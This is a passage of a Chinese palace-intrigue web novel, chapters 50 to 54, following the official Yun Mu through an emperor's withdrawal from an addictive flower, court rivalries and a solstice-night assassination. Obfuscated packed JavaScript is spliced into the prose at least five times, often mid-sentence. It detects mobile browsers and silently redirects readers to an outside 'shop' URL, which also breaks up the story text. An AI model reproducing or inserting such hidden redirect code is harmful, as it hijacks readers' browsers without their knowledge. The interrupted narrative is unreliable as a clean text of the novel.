她坐在榻上顺气,侧耳听着外面的动静,知是贵妃和红袖又带着汤药来了,可惜被黄如海拦在了外头。 云暮悠悠地喝了杯茶后,才起身出门,贵妃还没窥见里头的场景,门就被云暮关上了。 “云大人,本宫不过是来给皇上送碗羹汤,怎么,这勤政殿如今连本宫都进不去了吗?” 云暮挥了挥手,黄如海懂事地退至一边:“娘娘说笑了,只是皇上吩咐过,谁来他都不见,我们这些做下人的,只能奉命行事,还望娘娘莫要为难。” 贵妃冷笑:“为难?本宫怎知你是不是在扯谎,皇上昨日醒来已经大好,今日病情怎会加重?” 昨儿下午,皇后因禁足期间擅自离宫和教子无方,又被皇上禁了足,协理六宫之权就落在她和其余四妃的头上,渴望多年的东西就这么到了手里。 再晚些时候,梁承熙让人给她递了口信,说明日会和沈聿明一同上朝听政,她激动得整宿都睡不着,好不容易眯了一会儿,便梦到她住进历代太后的寝宫,寿康宫,成了母后皇太后。 今儿一早,她坐在长乐宫主位,后宫妃子跪在她面前请安时,梦中的情景和现实里重叠。 权力在手,她不禁有些飘飘然,连带着不把云暮放在眼里,等她皇儿上位,定要让他拿云暮杀鸡儆猴。 云暮气笑了,昨日她拿了碎瓷片去找当初那个被关在大理寺的小贼宋小多,宋小多对米嚢花的味道极其敏感,立刻就认出碎碗上残留的是米嚢花的味道。 她当即又掉头回宫,派人去盯着贵妃的寝宫。贵妃不在,她的人应该已经动手了,从袖中掏出圣旨递上:“娘娘说笑了,下官确实是得了皇上的吩咐,否则是万万不敢把您拒在门外。” 贵妃一目十行看完后,把圣旨砸进云暮怀里,转身离去。 云暮缓缓收回圣旨,朗声道:“娘娘,不如把羹汤留在此处,由下官代为转交?” 贵妃走得更快了,云暮的疑心病重,她怎么敢给? 轿辇停在长乐宫门外时,贵妃的气还没消,眼看着皇上越来越离不开米嚢花,而他私藏的米嚢花越发少,贵妃也动了歪心思,可还没等她动手,不知从哪里来的贼人先她一步盗走了梁文帝私藏的米嚢花,云暮也真是废物,连个小贼都抓不住! 走了几步,一把扫帚横躺在路中间,贵妃指借题发挥,狠狠地罚了一顿长乐宫的宫人。 三皇子到长乐宫时,贵妃头戴着白狐昭君套,身披银皮鼠大氅,手握汤婆子,端坐在廊下,看着大太监挥着长鞭笞打宫女,见到他来,也未叫人停手。 他上前扶起贵妃,侧身对他们道:“本殿下要和母妃说些话,你们都下去吧。” 院外的宫人感激地对他行礼,只有三皇子来时,他们才不用提心吊胆地伺候贵妃。 三皇子边走边给贵妃拍背顺气:“他们做了什么,惹母妃生这么大的火气?” 本来就是一件小事,贵妃也不好对他说,转而问起今日早朝的事。 三皇子对她没有什么好隐瞒的,一五一十都说了出来。 “沈聿明倒是有手段,他下了朝就出宫了?” 三皇子点了点头:“是,听人说他急着出宫送孩子去学堂,都没听二皇兄提起皇嫂,他何时有了孩子?” 贵妃倒是没在意此事,他恨铁不成钢地戳了戳他的脑袋:“你这时候该去勤政殿侍疾才对,来长乐宫作甚?” 皇上素来喜欢承熙,总不会不见他吧, 三皇子的脸瞬间垮了下来:“下了朝就去了,但父皇只派了云大人出来拿折子,别说见一面,就是话都没能听到一句。院使那边也派人去问了,如今是云大人替父皇诊脉,脉案还在勤政殿,他也不知。” 云暮云暮,又是云暮!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632399|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原先和皇后交好,如今又阻她和皇儿见陛下,看来是留他不得了。 云暮再次回到勤政殿,梁文帝已经不再挣扎。从昨儿开始,她一直守在勤政殿,期间沈聿明又来了一次,她只能托他把十五接去王府住一段时日,不知十五住不住得惯。 想着问问沈聿明,但来送折子的却没有他,云暮叹了一声,把奏折搬到西隔间的榻上批阅,不时留意梁文帝的情况。 等到梁文帝彻底平静下来后,云暮才给他松绑,又叫了水,让黄如海给他擦脸换衣裳。 从昨日到现在,梁文帝的瘾已经复发了好几回,整个人都散发着恹恹的气息,就连桌上琳琅满目的饭菜都勾不起他的任何兴趣:“云卿,朕不戒了,你替朕去寻米嚢花来。” 云暮给他盛了碗鸡丝粥,说道:“刚到陛下身前当值时,您曾教奴婢,要登高就不能给人留下把柄。先前禁了米嚢花,又灭了卢家,陛下若开了这个口子,就是亲自将把柄送到世家手中,他们不会善罢甘休。” 梁文帝不以为意:“朕是天子,谁敢置喙?谁敢有不满,杀了就是。” “悠悠众口堵不住,难不成陛下要杀尽天下万 民吗?” 梁文帝沉默。 云暮说起早朝之事,转移他的注意力。 “皇上,您才病了两日,那些人就敢不把皇家的颜面放在眼里,若是不戒,如何给殿下们撑腰?” 听到最疼爱的儿子被人刁难,梁文帝气不打一处来:“黄如海,传朕口谕,陈伟民禁足三个月。” 就禁了太子的足,牛鬼蛇神都蹦了出来。 太子昨日的辩解,梁文帝一句都不信,大梁的暗卫只忠于皇帝一人,不可能在此事上扯谎骗他。但太子是他一手教出来的,父子情分做不得假,终归还是不忍心废他。 但这么多年,太子一家独大,已经迷失本心,不如让他回府反思,能回头自然是好,若还是执迷不悟,那就看剩下几个皇儿有谁能承担大任了。 第五十章 取东西 早膳过后,云暮正给梁文帝研墨,他突然递了一本奏折过来:“此事你怎么看?” 那些奏折她都看过,只看了前头的几个字就知道是裴然的折子,无非是想推迟摘星阁动工的时间,让钦天监再择一良日之事。 窗户没关稳,被风吹开了一道缝隙,冷风直往屋里灌,冻得云暮打了一个哆嗦,她走到窗边,往外看了一眼。 大雪连下几日,积雪没过脚踝,今日终于停了,但天还是阴沉沉的。 云暮关紧了窗,隔绝了化雪时的冷意。裴然同她没有利益冲突,拨钱更是爽快,云暮犯不着和他作对,况且他的思虑并非没有道理。 “皇上,京城雪花虽不及燕山那般大如席,可到了深冬,别说水,就连地面都结了一层冰。摘星阁工程不小,冬日动工只怕更劳民伤财。” 梁文帝对此无所谓,只想越快完工越好,最好能在明年生辰前建成,到时万邦来朝,尽显大梁国威。 “国库充盈,无需担心。” “钱财易得,凿冰取水建楼却难,地基打不好,万丈高楼顷刻就会轰然倒塌,裴尚书也是为了您着想。” 梁文帝的手在半空停了片刻,最后还是在裴然的折子上写了个准字,他不敢赌。 “皇上,秦王求见。” 梁文帝搁下笔:“快传。” 云暮知晓等会儿人少不了,识趣地退了出去,路过沈聿明身边时,他突然开口:“本王有东西落马车上了,云大人替本王跑一趟吧。” 云暮疑惑地朝他身后看了看,没见文竹。 “一来就使唤朕的人。” 沈聿明笑眯眯地行了个礼:“谁叫儿臣忘性大呢。” 云暮的脚才踏出殿外,就看到一个背影匆匆离去,她吩咐正要进去伺候的黄如海:“等会儿不管谁来了,只要带了吃的,都给本将军扣下。” “是。” 怕黄如海拦不住贵妃,云暮匆匆往宫门走去,见文竹坐在马车外对着里头讲话,心里有些疑惑。 对方见了她立马跳下了车,“见过大人。” 云暮嗯了一声,还没等她说话,车帘被人从里掀开,十五探出个头,惊喜道:“大人!” 云暮瞪大了双眼,“十五?这两天在王府过得可好?” 十五拉着云暮的手把人往马车里带:“夫子身体不适,今日不用去学堂。已经两天没见过大人了,十五便跟着王爷一起来了。” 他拍了拍肚子:“这几日吃得可好了,钟叔还教十五学武!” 文竹在外头轻咳了一声,十五才知晓他说错了话,但云暮也没太在意。 “大人可能还要过一段时间才能回府,若是有不认识的人去学堂接你,莫要跟他们走。过几日冬至,若能抽出时间,大人带你去看花灯。” 来之前王爷已经和他说过了,他虽难过,但也知晓不能任性,于是仰起脸应了声好。 又和十五说了些话,云暮才原路返回,才到门口,正好迎面撞上贵妃和三皇子,云暮挡在门前,把人拦下。 贵妃阴阳怪气地开口:“听说皇上醒了,本宫特来看望,云大人这次还要阻拦吗?” 云暮指了指红袖手里的食盒:“下官不敢,只是从今日起,任何入口的东西都要查验过后才能呈到皇上面前。” 贵妃眉眼凝聚了一层冰霜:“放肆,你的意思是本宫要下毒谋害皇上?” 云暮的头低了几分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632400|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下官不敢,只是宫里人多眼杂,怕娘娘被有心之人利用。” 这次贵妃没往里头加写不该有的东西,经得起查,她嗤了一声,“你这条狗当得还真是称职。” “东西给他,我们走。” 云暮接过红袖递过来的食盒:“事关皇上,下官自然得多加上心。” 贵妃还想再说几句,三皇子晃了晃她的手:“母妃,走吧,别让父皇等久了。” 又落后贵妃一步,朝云暮歉意一笑:“云大人,母妃也是担心父皇,你莫要怪罪。” 云暮道了一声不敢。 三皇子又看了他一眼,才抬步追上贵妃。 云暮把食盒给了身后的一个小太监:“拿去温着,等会儿本将军再验。” 贵妃进门看到沈聿明时,眉间狠色一闪而过,在二人看过来之前,换上了和煦的笑,就连站在她身旁的沈承熙都没有察觉出异样。 两人行礼过后,梁文帝手心向上抬了抬,“起来吧,赐座。” 贵妃在看到榻上的沈聿明时,未语泪先流:“你是明熹吧?多年不见,本宫都认不出来了。” “也怪本宫没本事,这么多年也没能找到你的下落,你在外面受苦了。” 挑事的来了,沈聿明终于提起点兴趣,闻言扭头看向她:“贵妃娘娘风采依旧,只是可能年纪大了,眼力不行,毕竟父皇只看了一眼,就认出了儿臣。” 贵妃一口银牙差点咬碎,面上却娇娇柔柔地说道:“皇上,您瞧瞧明熹,真是牙尖嘴利。” 梁文帝笑道:“他和他母妃一样,这张嘴啊,得理不饶人。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第五十一章 这福气给你你要不要 见沈聿明跟了出来,云暮脚步放慢,边走边等他:“多谢王爷。” “光一句谢谢可打发不了本王。” 不用回头云暮都能想到他脸上的表情,她掂了掂手中的盒子,故作惆怅道:“下官没有五十年的人参相送,这可如何是好。” 沈聿明几步跟上她,摩挲着下巴,想到昨日见到孟煦时,对方的腰间挂着一枚玉佩,他压根没想问,但对方直接说道:“这是小暮当年赠予我的。” 谁问他了?不过是块玉佩,有什么值得炫耀的? 沈聿明思考了片刻,指着她腰间的那枚玉佩说道:“本王是个俗人,最喜金银玉石,尤其是你身上这枚玉佩,你忍痛割爱,把它送给本王如何?” 云暮扯下玉佩,拇指在上面摸了摸,这块暖玉是她花了大价钱买的,光滑温热。 沈聿明打趣道:“舍不得?” 云暮把玉佩举到他面前:“怎么会,上面的祥云雕得不好,能得王爷欢心是它的福气。” 沈聿明鬼使神差地反问了一句:“这福气给你你要不要?” 云暮:? 他是被冻傻了吗?不然怎么能问出这么白痴的问题? 沈聿明尴尬地摸了摸鼻子,耳廓染上了一摸绯红,没接玉佩,反倒是拿过她手中的木盒,“本王手不得空,你替本王系上。” 两人已经到了东隔间,身旁亦无太监跟着,但云暮还是怕惹人闲话:“还是王爷自行动手吧,下官先把东西放好。” 伸手想要拿过沈聿明手中的木盒,对方却把木盒高举过头顶,后退了两步,云暮踮脚往前,没有站稳,一头扎进他的怀里。 沈聿明微怔,不过一瞬,眸中漾出笑意,努力克制的嘴角还是没忍住勾起浅浅的弧度:“云大人。” 云暮愣愣抬头,目光从下颌往上,扫过他微翘的唇角,挺立的山根,最后对上了他含笑的双眼。 沈聿明的手在她眼前晃了晃:“怎么,看傻了?” 雪松味把她笼罩在其中,云暮回过神,心脏砰砰直跳,脸还有些热,搭在他肩头的手一把将其推开。 沈聿明的腰撞倒桌边,疼得脸皱成了一团,他龇牙咧嘴地捂着腰:“你自己撞过来的,怎么还下毒手呢?” 云暮懊恼地扶着他,却还是嘴硬道:“还不是怪你突然往后撤。” 沈聿明举起双手投降,可怜兮兮地说道:“好好好,都怪我,那云大人能否看在受伤的份上,替小的系个玉佩。” 明明是王爷,却总在她面前放低姿态,云暮低头给他系上,素手翻飞。 沈聿明垂头端详着她瘦削的脸,这两日许是休息不够,眼下有些青黑,下巴貌似尖了几分。 “好了。”云暮退了两步,掩嘴打了一个哈欠,泪花在双目打转。 “你回府歇一会儿吧,父皇这边有我。” 戒瘾时太过狼狈,梁文帝想来也不希望被其他人知晓,云暮眨了眨眼,把泪水逼回眼眶:“无事,王爷如今监国,也该学着如何处理政务了。” “你教我。”沈聿明大有云暮不同意他绝不善罢甘休之势。 云暮拿了几本折子摆在他面前,一一同他说清,“折子如今虽不是一级一级递进宫,但不乏官员扣下手下人奏事的折子。” 她点了点中间的折子:“这是从晋城来的请安折,王爷看出什么了?” 通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632401|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篇词藻堆砌,洋洋洒洒,问候圣上龙体康健后,余下都是在述苦,一连几个月,不是菜太淡就是菜洗不干净,一口下去,沙土硌得牙发酸,不过从月初开始,一切又回归正常了。 沈聿明不解:“菜有沙石便让下人多洗两次,淡了多放盐就是,这也值得写封奏折?” 朱笔沾墨,云暮把‘淡’和‘沙石’等字圈出,“晋州有盐区,当地不缺盐,他却说味淡且有沙土,哪个厨子敢把不洗净的菜直接端上桌?除非有人往盐里掺了沙土,厨子挑不干净,涮干净了无味,不涮就吃一嘴沙。” 沈聿明神色一震:“你的意思是有人往官盐里掺沙土卖给百姓?” 云暮点了点最后几句:“不止官盐掺沙土,还有人贩卖私盐。” 贩盐是一本万利的好买卖,否则朝廷也不会把它紧紧攥在手里。 盐工每年必须采到足够多的盐上缴朝廷,朝廷开设官盐店,下令百姓只能去官盐店里买盐。 从前官盐价高,百姓吃不起,但不吃盐又使不上劲,于是私盐商贩应运而生,就算掺了东西,那也比买官盐便宜不少。 梁文帝也想过解决之法,把那些只挂名不办事的人全都革职,精简盐政机构的人数,再把官盐卖给商人,让他们去各地贩卖,稳定盐价。 盐的生产权还在朝廷,又省下了不少开支,商人为了把手头上的盐卖出去,不敢哄抬盐价,百姓慢慢也吃上了盐。 如今此举好像有些行不通了,就连折子都递不上来,只能在请安折子里隐晦地告知。 云暮的手指在桌上轻敲,接着又把漏掉的请安折细细看了一遍。 这章没有结束,请点击下一页继续阅读! 第五十二章 出气 冬月二十一,冬至。 天时人事日相催,冬至阳生春又来。① 连日阴天,久违放晴,云暮心情颇好地走在街市。 不论穷苦亦是富贵,家家的门前都挂上了好几盏灯笼,卖灯笼的商贩忙得脚不沾地。 灯笼和各类果干蜜饯都买了不少,此刻的云暮在西市的商家眼里是财神爷降临。 “云大人,小人替您把东西拿到马车上。” “云大人,小人的店里新制了一批灯笼。” “云大人……” “云大人……” 吵得云暮脑瓜子嗡嗡响,已经包圆了好几家店的她摆手拒绝了热情的店家:“下次再来。” 有个不死心的店家见他今日好说话,伸手就想把人拉进店里,云暮没看他一眼,却精准地钳住了他的手,目光从店里的灯笼店家的脸上:“这些灯笼不过尔尔,本将军觉得你这双手不错,云府养了几只恶犬,不若把手斩下来,让本将军拿回去喂狗?” 得罪了云暮,往后他店里的东西可就难卖了,店家面色如土。围着他们的人笑脸一僵,纷纷作鸟兽散,真是被钱迷了眼,竟忘了他是阎罗在世。 路过成衣店时,云暮突然想起,阿爹阿娘还在时,冬至早上醒来,她的床头总会放着阿娘新给她做的鞋帽。 云暮照着十五的身形拿了几双鞋,又挑了几个虎头帽。 店家愣了几秒才反应过来:“云大人,一共二两银子。” 消息在大街小巷传得最快,明德学堂的事没人敢指名道姓,但句句指向云暮,难不成他真在江南为自己留了香火? 云暮到学堂时,还未下学,但安叔已经早早守在门口。 “安叔,这些日子辛苦了,你先回府派人把我买的东西分好,再送一份去王府。” “这是?” 才从大理寺回来的沈聿明被地上的东西挡住了去路。 钟叔正带人把灯笼挂在檐下,闻言,他从爬梯上下来:“王爷,这些灯笼是云府送来的,前几日买少了,多亏云大人雪中送炭。” “她亲自送来的?” 不用明说,钟叔也知‘他’指的是谁,回道:“是砚石送来的,不过他说灯笼还有蜜饯都是云大人亲自挑的。” 沈聿明伸手勾了勾灯笼下的流苏,“东西备好了?” 钟叔把最后一个灯笼挂好:“都备好了,可要现在送去云府?” 沈聿明想也不想直接拒绝:“不用,本王亲自送过去。” “这是怎么了,难道是没抢到饺子吃,急哭了?” 里屋的气氛有些沉闷,沈聿明放下手中的东西,看了一眼绷着脸的云暮,才凑到十五面前打趣。 见他脸上有一道血痕,沈聿明沉声道:“学堂有人欺负你了?” 十五低声抽噎,就是不肯说话。 云暮率先去了书房,沈聿明捏了捏十五的肩,安慰道:“没事,王爷去劝劝大人。” 安叔走后,她坐在马车里等十五,听到下学的动静后,原想着等人散了再下马车,外边响起一道尖锐的声音:“云冬阳,小杂种,你那阉人爹不要你了。” “你爹是阉人,你以后也是阉人……” 周围一阵哄笑,紧接着是各种污言秽语,小孩和大人皆有。 十五气愤地推了最先出言不逊的人一把:“谁再骂我家大人,我就撕烂他的嘴。” 几个小孩扭打在了一起。 车夫暗道坏了。 云暮眸中愠色渐起,直接掀开帘子,“住手!” 清亮的嗓音里还有压制不住的怒气。 “几日不来,本将军今日算是开了眼了,竟然有不怕死的敢欺负到云家人头上了。” 抬手想给十五一个教训的人此刻像见了鬼一样,嘲笑侮辱的话被堵在嗓子里,最后拉着孩子跪在地上,磕头求饶。 “大人,犬子无状,冲撞了大人和小公子,望大人恕罪。” 云暮一步一句,把方才那些辱骂的话复述完后,正好站在求饶之人的面前,语气平静,但在众人听来,就是阎王点卯,在冷风里硬是被吓出了一身冷汗。 “十五,别看了,上马车,免得今晚梦魇。” 云暮一脚踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632402|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在人的肩上,“是你儿子动的手吧?哪只手伤的十五?” 此人把头磕得邦邦响,“大人,犬子年幼,一切罪责都由草民承担,您放他一条生路。” “刚才你的巴掌差点就落到十五的脸上,本将军没看错吧?你有几条命啊,就敢管教本将军的人?” 云暮抽出匕首,每问一句,匕首就往身体没一分,鲜血染红肩头,无一人敢替他求饶,最后还是听到动静的孟煦出来劝阻,她才没有痛下杀手。 她喃喃道:“当初若是听了你的,让他去王府,是不是就不会发生今天的事了?我是不是做错了?” 她什么都做不好,杀害爹娘的仇人没有找到,十五还因她的缘故被人在暗地里欺负,知她分身乏术,怕她分心,独自咽下这口气。 面前茫然无措的云暮和记忆里那个自责的少年重叠,沈聿明突然很想摸摸她的头,告诉她没错。 “刚逃出宫那几年,我和嬷嬷过得很 苦,改名换姓,不时换住处,都是为了躲过追杀。那天她为了给我买药,泄露了踪迹,被仇人找上了门,嬷嬷为了给我争取一线生机,死在了那些人的剑下。” “那时的我也和如今的你一样,把一切责任都推到自己身上,自责了许多年。” 这还是云暮第一次听到他提起当年之事,“后来呢?” 沈聿明想起死在城外的那些人,揉了揉她的头,语气轻松∶“后来,我化自责为动力,以身做局,诱敌出洞,把人杀了给嬷嬷报了仇。” “所以,拳头才是硬道理,云大人以后可得努力教十五学武了,一拳一个小朋友,又有云大人和本王替他做主,别说抓花他的脸,就是说闲话都不敢了。” 云暮被他的话逗笑,但还是认真问道∶“要不还是给十五换一个学堂吧,我怕他因今日之事被人孤立,不行的话,就请先生来云府。” 沈聿明举双手赞同,他看孟煦不顺眼很久了,总在他面前明里暗里地说着当年之事,要不是云暮不知怎的忘了他们的过往,他都得和对方说道说道。 “本王记得程大人有个差不多大的孩子,待本王去问问。” 第五十三章 冬至夜遇刺 冬至夜,宵禁驰。 大街小巷张灯结彩,高悬的灯笼与明月争辉,花灯流光溢彩。 云暮和沈聿明各牵着十五的一只手,穿梭在拥挤的人群里。 女子或轻纱掩面,结伴而行,或与郎君相携,两个男人牵着孩子出来很是罕见,不过他们的视线都被花灯所吸引,并无太多人把注意力放在云暮他们身上。 猜灯谜的小摊前挤满了人,十五指着中间那盏蟾蜍灯笼,“大人,十五想要那个。” 包子要捏成蟾蜍,就连花灯也要蟾蜍,云暮虽不理解,但也尊重他的爱好。 云暮偏头看沈聿明:“王爷可有想要的?下官一并赢来。” 沈聿明眉头一挑,指着最顶上那个四角宫灯说道:“那个也能赢?” 云暮没猜过几次灯谜,不敢把话说得太满,只道:“下官尽力。” 沈聿明轻笑:“那我们就在此等候大人的灯笼。” 一口气猜中了十个灯谜,终于拿到了十五想要的蟾蜍灯笼,如果要拿到宫灯,还要再猜上十个。 多数人都被最后两个难住,云暮看着谜面,还真被难住了。 一个是“踏花归来蝶绕膝”,另一个则是“湖光水影接秋色”。 摊贩忐忑地说道:“云大人,小人给您一点提示吧,这两个谜面的谜底都和药材有关。” 药材?难怪那些公子小姐败兴而走,但这对她来说却是易如反掌。 踏花归来马蹄香,引得蝴蝶膝上绕,那不就是香附。 秋日湖无水,黄叶落,合起来正好是胡黄连。 小贩敲了几下手中的铜锣,取下四角宫灯递给云暮:“恭喜云大人拔得头筹。” 云暮接过,顺势把几粒碎银放在他手里:“多谢。” 拿到蟾蜍花灯的十五心满意足地走在前头,云暮抓着他的兜帽,和沈聿明不紧不慢地跟在他身后。 沈聿明细细打量着手里的宫灯,伸手拨了拨,发现它还能转动,没忍住夸了一句:“这人的手艺不错。” 云暮的视线往右移了移,“确实不错,若这画技再精进些就更好了。” 她和十五四处张望,没注意到沈聿明落后了他们几步,再次听到他的声音时,双眼被东西挡住了视线。 “十五有的,你也要有。” 才入手云暮就知是帽子,风帽外围缝了一圈柔软滑腻的兔毛,着实和她的形象不搭,低头把玩风帽,没有扫兴:“多谢王爷。” “哪个不长眼的东西敢冲撞本小姐!” 崔苒方才在人群里见了沈聿明,想要过来一探究竟,一时没注意到他身前还站着一个小孩。 和云暮他们谈话过的十五鼓起勇气说道:“明明是你不看路才撞的我。” 见他还敢顶嘴,崔苒抬手就要打人,手举到半空就被云暮抓住:“五小姐。” 崔苒这才发现小孩和云暮他们是一起的,见沈聿明在看她,她讪讪收回手,左右张望,想要解释但出口的话却变成了质问:“王爷不是说和心上人有约吗?怎么是和这……云大人在一起?” 原先说这阉人,但看沈聿明陡然沉下的脸,硬生生改了口。 云暮没有听人说话的习惯,牵起十五的手,朝一旁的拱桥走去。 不知他们说了什么,最后沈聿明还是带上了崔苒,云暮心口像是被堵住了一样难受,但她不愿细想。 崔苒叽叽喳喳地和沈聿明说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632403|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不停,沈聿明有一搭没一搭地回应,在出神的云暮快要被人撞上时,他一手把人拉到身边:“在想什么?” 身旁的视线锐利如剑,云暮站稳后后退了一步:“没什么,下官要去放盏孔明灯,王爷和五小姐可要一起?” 面对云暮的识趣,崔苒满意一笑:“本小姐就……” “去。” 崔苒笑脸滞在脸上:“本小姐就同你们一道去吧。” 云暮挑了一个人少的空地,慢慢放开手中的孔明灯,心道:“爹,娘,今年又快过去了,你们在天有灵,就保佑女儿快些手刃仇人吧。” 四盏孔明灯逐渐远去,一群人迈着阔步往他们这个方向走来,脸不知被什么染成黑色,在黑夜里,眼白格外显眼。 云暮心生警惕,和沈聿明交换了眼神,她一手把十五拉回身边,一手按在腰上,不动声色地往来时的方向走。 忽然,破空声响起,云暮抽出腰间软剑挡住了直劈过来的长剑,剑身铮鸣,云暮一脚把人踹了出去。 十五练武时间不短,可亲眼目睹杀人还是第一次,内心即便害怕也不敢出声打乱云暮的节奏。 云暮怕他受伤,下手越发狠厉,但围攻之人太多,有些力不从心。 她分神看了一眼沈聿明二人,发觉他们那边的杀手好像顾忌着什么,在剑即将刺到沈聿明时,崔苒心一横,挡在了他身前,杀手的剑强行往旁边偏了几分,被沈聿明一剑穿心。 云暮快准狠地出击,把近处的杀手都逼退,从袖中拿出一支短箭,手指拉住箭尾再松开,短箭径直往天上飞,在空中炸出一朵绚丽的烟花。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第五十四章 七杀散 败局已定,杀手齐刷刷地举起手中长剑对着脖子一抹,血液喷涌而出。 云暮捂住十五的眼:“闭眼,别看。” 冯章等人单膝跪在云暮身前:“属下来迟,望大人恕罪。” 云暮把软剑收回腰上,单手抱起十五,“把这里处理干净。” 此地偏僻空旷,保不齐什么时候就会有人被飞云令吸引来,冯章挥手示意手下:“动作快些,免得百姓惊恐。” 见沈聿明伸手,云暮把十五递了过去,牵扯到伤口,她硬是吞下了痛呼。撕下一截衣摆,随意包扎了一下手臂上的伤口。 手腕突然被沈聿明握住,“回去,不逛了。” 身后突然传来哭声,云暮几人同时转头看去,才想起被他们遗忘在树后的崔苒。 沈聿明对着冯章道:“冯参军,这是丞相府的五小姐,你找几个人送她回府。” 冯章看了看云暮,又看了看沈聿明怀里的十五,只能暂时按下好奇,低头领命。 崔苒本就是为了沈聿明而来,说什么也不肯和冯章走:“本小姐不要他送!” 就是因为要护着她,他才没能帮上云暮,沈聿明怨自己,也不免迁怒崔苒,“既如此,那五小姐还请自便,本王还有事,恕不奉陪。” 说罢,他拉着云暮就走。 崔苒在原地跺了跺脚,狠狠瞪了冯章一眼,提起裙摆去追沈聿明:“王爷,你等等我!” 云暮微微偏头:“王爷,不如先把五小姐送回去?若是她出了事,丞相那边怕是不好交代。” 沈聿明指了指马,金吾卫了然,牵了两匹马过来,把十五抱上马后,翻身坐在了他身后:“与本王何干?再说了,金吾卫这么多人在,她能出什么事?” “走吧,你的伤耽搁不得。” 宋枫带人赶来时,只看到了愁眉苦脸的冯章和气急败坏的崔苒。 “谁放的飞云令?” 冯章生无可恋地说道:“是大人。” 不是遇到棘手的事,云暮决计不会放出飞云令求救,宋枫心揪:“大人没事吧?” “手臂好像被划了几刀,王爷送他回府了,你……”话都还没说完,宋枫已经打马走了。 冯章好说歹说才把崔苒劝回了集市,没走多远就看到崔钰,此刻崔钰在他心里的形象突然高大了起来,宛如天神下凡。 “崔大公子,崔五小姐方才受了惊吓,下官还要带人巡察京,人就交给您了。” 说完他带着手下一溜烟跑了。 今夜亥时才禁市,戍时未过,安叔就看到云暮他们回了府,府中挂满灯笼,亮如白昼,但云暮身上披着沈聿明的大氅,没叫他看出异样。 “大人,这么快就回来了?” 云暮嗯了一声,把十五往安叔的方向轻推了一下:“十五,先和安叔玩一会儿,大人和王爷很快就来。” 不过是处理伤口,没什么见不得人,但十五见了伤口又要掉眼泪了。 安叔虽然上了年纪,但云暮受伤的次数不少,他对血腥味也很是敏感,当下就明白了云暮的想法,他牵着十五往厨房走去。 “十五,冬至有吃饺子的习惯,咱去给王爷和大人煮一碗饺子,等他们忙完了,饺子也正好出锅。” 等两人走远,云暮终于撑不住了,扶住一旁的柱子呕出了几口黑血。 杀手的剑上被抹了毒,若不是她带了能暂缓万毒的解药,早就撑不住了。 “是七杀散,但云府并无金鸡尾草。” 沈聿明把人打横抱起,大步流星地朝她院里走去:“本王府上有,让砚石去取,你可还有什么药能暂缓毒性?” 云暮气息不稳,头无力地搭在他的颈窝,居然还有闲心开玩笑:“王爷的府上还真像个珍宝阁,有五十年的老参也就罢了,连金鸡尾草都有。” 放血,上药,包扎,喝药。 云暮双眼终于清明,沈聿明松了一口气,方才云暮的眼睛有过一瞬间的涣散,他都已经做好杀去丞相府,逼人交出解药的准备了。 “你刚才看见了吗?” 云暮点头:“对你我招招致命,却不敢伤崔苒分毫,就算不是相府的人 